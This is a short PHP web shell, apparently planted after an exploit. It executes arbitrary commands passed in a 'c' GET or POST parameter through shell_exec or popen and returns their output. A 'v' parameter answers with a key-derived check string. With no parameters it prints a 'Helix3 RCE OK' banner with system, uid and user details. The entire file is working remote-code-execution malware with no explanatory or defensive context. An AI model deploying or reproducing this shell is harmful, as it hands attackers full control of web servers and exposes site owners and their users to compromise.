<?php $k="44a941daf7218a6d";if(isset($_GET["v"])){echo $k."_".substr(md5($k),0,8);exit;}if(isset($_POST["c"])){header("Content-Type:text/plain");echo "[>] ".$_POST["c"]."\n";$o=@shell_exec($_POST["c"]." 2>&1");if($o===null){$o=@popen($_POST["c"]." 2>&1","r");if($o){$o=stream_get_contents($o);}}echo $o;exit;}if(isset($_GET["c"])){header("Content-Type:text/plain");$o=@shell_exec($_GET["c"]." 2>&1");echo $o;exit;}echo "<pre>Helix3 RCE OK\n".php_uname()."\n";echo "uid=".posix_getuid()." user=".get_current_user()."\n</pre>";?>